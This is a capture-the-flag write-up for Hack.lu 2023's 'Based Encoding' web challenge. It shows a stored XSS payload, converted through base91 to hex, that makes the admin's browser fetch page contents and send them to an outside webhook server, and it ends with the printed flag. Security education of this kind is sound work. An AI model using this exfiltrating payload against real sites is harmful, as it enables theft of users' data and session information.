Based Encoding

CTF name: Hack.lu CTF 2023

Challenge name: Based Encoding

Challenge description:

Based encoding as a service. But can we insert a little tomfoolery? Let's find out.

Challenge category: web

Challenge points: 82

When: Fri, Oct. 13, 18:00 — Sun, Oct. 15, 18:00 UTC

TLDR - solution

report a base91 encoded note to admin (XSS with a limited character set)

# btoa("https://webhook.site/your-server?data=") ==> aHR0cHM6Ly93ZWJob29rLnNpdGUveW91ci1zZXJ2ZXI/ZGF0YT0=

script="<script>fetch(\"/\")[\"then\"]((data) => data[\"text\"]())[\"then\"]((html)=>location=atob(\"aHR0cHM6Ly93ZWJob29rLnNpdGUveW91ci1zZXJ2ZXI/ZGF0YT0=\")+btoa(html))</script><p>some tag</p>"
result = based91.decode(script)
print(result.hex())

# f0afecd5baf39dac4294fc6dd286f809445ffb0db053e0adb4964677a7ca80e53c0b26c6157004c3e127107ded37c04e814160531bdd758d4365402d67b83360700a022f45a3cc14aa343a2acff513e49aa6e1436fa0ee472443f8433165989534423bd308ede71d1128b3cde436c4dfa9ccad5f10d8d4e0f08f0651410c054aedf14de6a0d55a22d9dcce

Description

description

Challenge was marked as beginner friendly. You’re greet with a login page. After signing up you get an access to list, create and report (to admin) encodings

login create view list
login page create encoding view encoding list all encodings

After checking the source code and view_encoding.html file we can see that it’s vulnerable to XSS

Alt text

Inside the app.py file you find a flag. It’s in a database, but only admin knows the id. So the idea is to prepare an encoding with some XSS, report it to the admin, steal the id and get the flag 😉

Alt text

Our XSS script will be encoded using base91 which means we’re limited to the base91_alphabet. Other characters will be lost during encoding process

Alt text

Let’s analyze the most important file of this challenge. Inside the app.py there’s the /create function where we find the encoding logic

encoded = based91.encode(text.encode() if not (re.match(r"^[a-f0-9]+$", text) and len(text) % 2 == 0) else bytes.fromhex(text))

First observation is that you can send encodings as a .hex(). Second is that encoding a decoded value will give you the same value (but again, we’re limited to the base91_alphabet)

result = based91.encode(based91.decode('YOUR_EVIL_SCRIPT_but_._and_ _spaces_ _are_missing'))
print (result)

# YOUR_EVIL_SCRIPT_but__and__spaces__are_missisB

Now it’s time to prepare a JS script which will steal the admin decodings. Remember we can’t use spaces and . so we need to access the object using []. Let’s fetch /, then redirect a user to our server with the page data as a query parameter. We used webhook.site as a temporary log server

// btoa("https://webhook.site/your-server?data=") ==> aHR0cHM6Ly93ZWJob29rLnNpdGUveW91ci1zZXJ2ZXI/ZGF0YT0=

fetch("/")
  ["then"]((data) => data["text"]())
  ["then"](
    (html) =>
      (location =
        atob("aHR0cHM6Ly93ZWJob29rLnNpdGUveW91ci1zZXJ2ZXI/ZGF0YT0=") +
        btoa(html))
  );

Now it’s time to decode and parse it to hex. Have you noticed these trash characters from before? We’ve got missisB instead of missing. It may break our closing </script> tag. We’ll get rid of this issue by simply adding some random tag at the end of the script

import based91
script="<script>fetch(\"/\")[\"then\"]((data) => data[\"text\"]())[\"then\"]((html)=>location=atob(\"aHR0cHM6Ly93ZWJob29rLnNpdGUveW91ci1zZXJ2ZXI/ZGF0YT0=\")+btoa(html))</><p>some tag</p>"
result = based91.decode(script)
print(result.hex())

# f0afecd5baf39dac4294fc6dd286f809445ffb0db053e0adb4964677a7ca80e53c0b26c6157004c3e127107ded37c04e814160531bdd758d4365402d67b83360700a022f45a3cc14aa343a2acff513e49aa6e1436fa0ee472443f8433165989534423bd308ede71d1128b3cde436c4dfa9ccad5f10d8d4e0f08f0651410c054aedf14de6a0d55a22d9dcce

Now it’s time to create an encoding. We can see the redirect is working (we’re redirected after creating this decoding). Let’s grab an id, report it to admin and check our log server

Alt text

And we’ve got something! Let’s decode the data

Alt text

And here’s the id! Let’s go back to the challenge page, open random decoding and replace the id url parameter

Alt text

so the flag is

flag{bas3d_enc0dings_str1p_off_ur_sk1n}

wrong path 1

Trying to steal an admin cookie which was protected by httpOnly flag and not accessible via document.cookie from the FE

http only cookie flag

wrong path 2

Trying with different versions of eval with the no-eval policy in place

content security policy

wrong path 3

Decoding session using flask-unsign and flask-unsign-wordlist. Secret is long and random so nearly impossible to crack

flask-unsign-result